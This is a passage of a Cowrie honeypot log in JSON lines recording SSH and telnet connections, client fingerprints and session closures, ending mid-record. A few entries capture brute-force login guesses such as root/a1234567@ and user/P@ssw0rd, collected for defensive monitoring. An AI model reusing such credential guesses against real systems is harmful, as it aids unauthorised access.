{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:21.843357Z","src_ip":"14.225.217.138","session":"4c7d0c6b2d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":41584,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4a9cfb08ac","protocol":"telnet","message":"New connection: 111.90.147.30:41584 (159.203.135.109:23) [session: de4a9cfb08ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:23.923372Z"}
{"eventid":"cowrie.session.closed","duration":31.499149322509766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:27.944263Z","src_ip":"104.245.105.2","session":"e9432a1fc083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1912055015564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:28.628615Z","src_ip":"111.90.147.30","session":"d22b4cbb57f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60543727874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:31.864390Z","src_ip":"111.90.147.30","session":"d0261cc97bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fc289f776e5","protocol":"telnet","message":"New connection: 104.245.105.2:45226 (10.17.0.5:23) [session: 5fc289f776e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:32.069837Z"}
{"eventid":"cowrie.session.closed","duration":31.14955234527588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:33.272970Z","src_ip":"111.90.147.30","session":"4f0d3bc43ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.864432573318481,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:33.284580Z","src_ip":"64.7.46.234","session":"fe0b4f927278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42096,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc791f03dd5","protocol":"telnet","message":"New connection: 111.90.147.30:42096 (159.203.135.109:23) [session: afc791f03dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:34.134389Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42086,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a96374d646","protocol":"telnet","message":"New connection: 111.90.147.30:42086 (159.203.135.109:23) [session: 94a96374d646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:34.591546Z"}
{"eventid":"cowrie.session.closed","duration":5.179714918136597,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:37.249429Z","src_ip":"104.245.105.2","session":"5fc289f776e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759839296340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:37.857616Z","src_ip":"111.90.147.30","session":"b0a6fb7e47de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713345050811768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:41.388459Z","src_ip":"111.90.147.30","session":"38f074c01bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0202100276947,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:43.820396Z","src_ip":"104.245.105.2","session":"98363d533c62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17037844657898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:51.156841Z","src_ip":"111.90.147.30","session":"17b5e9a76778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965633869171143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:52.802749Z","src_ip":"111.90.147.30","session":"95bf365ecdfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80580496788025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:17:54.729062Z","src_ip":"111.90.147.30","session":"de4a9cfb08ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":50342,"dst_ip":"159.203.135.109","dst_port":22,"session":"62952a2f440b","protocol":"ssh","message":"New connection: 182.48.68.82:50342 (159.203.135.109:22) [session: 62952a2f440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:04.291356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:04.300418Z","src_ip":"182.48.68.82","session":"62952a2f440b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:04.541017Z","src_ip":"182.48.68.82","session":"62952a2f440b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58763337135315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:04.721728Z","src_ip":"111.90.147.30","session":"afc791f03dd5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567@","message":"login attempt [root/a1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:05.544780Z","src_ip":"182.48.68.82","session":"62952a2f440b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.306947708129883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:05.898371Z","src_ip":"111.90.147.30","session":"94a96374d646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:06.788113Z","src_ip":"182.48.68.82","session":"62952a2f440b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33630,"dst_ip":"10.17.0.5","dst_port":23,"session":"573fee8337b4","protocol":"telnet","message":"New connection: 104.245.105.2:33630 (10.17.0.5:23) [session: 573fee8337b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:13.579347Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33636,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd42a3aef1f7","protocol":"telnet","message":"New connection: 104.245.105.2:33636 (10.17.0.5:23) [session: bd42a3aef1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:14.164730Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":49292,"dst_ip":"159.203.135.109","dst_port":22,"session":"27a6bae0ab16","protocol":"ssh","message":"New connection: 202.165.22.58:49292 (159.203.135.109:22) [session: 27a6bae0ab16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:25.530016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:25.826804Z","src_ip":"202.165.22.58","session":"27a6bae0ab16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:26.114611Z","src_ip":"202.165.22.58","session":"27a6bae0ab16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:27.362877Z","src_ip":"202.165.22.58","session":"27a6bae0ab16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:28.673560Z","src_ip":"202.165.22.58","session":"27a6bae0ab16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.726805210113525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:45.891433Z","src_ip":"104.245.105.2","session":"bd42a3aef1f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20615816116333,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:18:46.785404Z","src_ip":"104.245.105.2","session":"573fee8337b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":48598,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1319b30d51e","protocol":"ssh","message":"New connection: 182.48.68.82:48598 (159.203.135.109:22) [session: f1319b30d51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.425350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.429878Z","src_ip":"182.48.68.82","session":"f1319b30d51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42412,"dst_ip":"159.203.135.109","dst_port":23,"session":"fea0ea86eacf","protocol":"telnet","message":"New connection: 111.90.147.30:42412 (159.203.135.109:23) [session: fea0ea86eacf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.438531Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42418,"dst_ip":"159.203.135.109","dst_port":23,"session":"caff80f90088","protocol":"telnet","message":"New connection: 111.90.147.30:42418 (159.203.135.109:23) [session: caff80f90088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.452330Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.670510Z","src_ip":"182.48.68.82","session":"f1319b30d51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":48576,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d44793f60b","protocol":"telnet","message":"New connection: 111.90.147.30:48576 (159.203.135.109:23) [session: 44d44793f60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:08.952473Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":48572,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1555a97af2","protocol":"telnet","message":"New connection: 111.90.147.30:48572 (159.203.135.109:23) [session: 2b1555a97af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:09.495644Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"...","message":"login attempt [root/...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:09.664928Z","src_ip":"182.48.68.82","session":"f1319b30d51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:10.909124Z","src_ip":"182.48.68.82","session":"f1319b30d51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42428,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe2b99fcfa4","protocol":"telnet","message":"New connection: 111.90.147.30:42428 (159.203.135.109:23) [session: 3fe2b99fcfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:15.732908Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":42430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e42881b76f98","protocol":"telnet","message":"New connection: 111.90.147.30:42430 (159.203.135.109:23) [session: e42881b76f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:16.141404Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":35628,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec60bc34f648","protocol":"telnet","message":"New connection: 111.90.147.30:35628 (159.203.135.109:23) [session: ec60bc34f648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:19.897788Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":33366,"dst_ip":"159.203.135.109","dst_port":23,"session":"9619f5a88c10","protocol":"telnet","message":"New connection: 111.90.147.30:33366 (159.203.135.109:23) [session: 9619f5a88c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:39.335173Z"}
{"eventid":"cowrie.session.closed","duration":30.87440013885498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:39.826745Z","src_ip":"111.90.147.30","session":"44d44793f60b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.514627695083618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:39.966856Z","src_ip":"111.90.147.30","session":"caff80f90088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.811405420303345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:40.249831Z","src_ip":"111.90.147.30","session":"fea0ea86eacf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.956532955169678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:41.452039Z","src_ip":"111.90.147.30","session":"2b1555a97af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690184831619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:46.831496Z","src_ip":"111.90.147.30","session":"e42881b76f98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115334510803223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:46.848122Z","src_ip":"111.90.147.30","session":"3fe2b99fcfa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23678231239319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:51.134450Z","src_ip":"111.90.147.30","session":"ec60bc34f648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60442,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9e96cca78d","protocol":"telnet","message":"New connection: 104.245.105.2:60442 (10.17.0.5:23) [session: 6e9e96cca78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:53.292497Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":49232,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ea70bff6f7","protocol":"telnet","message":"New connection: 111.90.147.30:49232 (159.203.135.109:23) [session: d0ea70bff6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:53.950745Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60450,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9051c404ff5","protocol":"telnet","message":"New connection: 104.245.105.2:60450 (10.17.0.5:23) [session: c9051c404ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:55.624362Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":49220,"dst_ip":"159.203.135.109","dst_port":23,"session":"763bc1d722e7","protocol":"telnet","message":"New connection: 111.90.147.30:49220 (159.203.135.109:23) [session: 763bc1d722e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:55.958736Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":35978,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9cd8b05db1d","protocol":"telnet","message":"New connection: 111.90.147.30:35978 (159.203.135.109:23) [session: e9cd8b05db1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:19:58.458298Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":35988,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ec5c452030","protocol":"telnet","message":"New connection: 111.90.147.30:35988 (159.203.135.109:23) [session: 41ec5c452030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:02.289253Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36004,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d081f69c13e","protocol":"telnet","message":"New connection: 111.90.147.30:36004 (159.203.135.109:23) [session: 4d081f69c13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:02.592362Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":35990,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b18a1ed2c72","protocol":"telnet","message":"New connection: 111.90.147.30:35990 (159.203.135.109:23) [session: 4b18a1ed2c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:03.415854Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.90.147.30","src_port":36016,"dst_ip":"159.203.135.109","dst_port":23,"session":"701c38694870","protocol":"telnet","message":"New connection: 111.90.147.30:36016 (159.203.135.109:23) [session: 701c38694870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:03.707482Z"}
{"eventid":"cowrie.session.closed","duration":30.79542851448059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:10.130492Z","src_ip":"111.90.147.30","session":"9619f5a88c10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":40610,"dst_ip":"159.203.135.109","dst_port":22,"session":"97347d8c289b","protocol":"ssh","message":"New connection: 182.48.68.82:40610 (159.203.135.109:22) [session: 97347d8c289b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:13.115463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:20:13.119931Z","src_ip":"182.48.68.82","session":"97347d8c289b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-h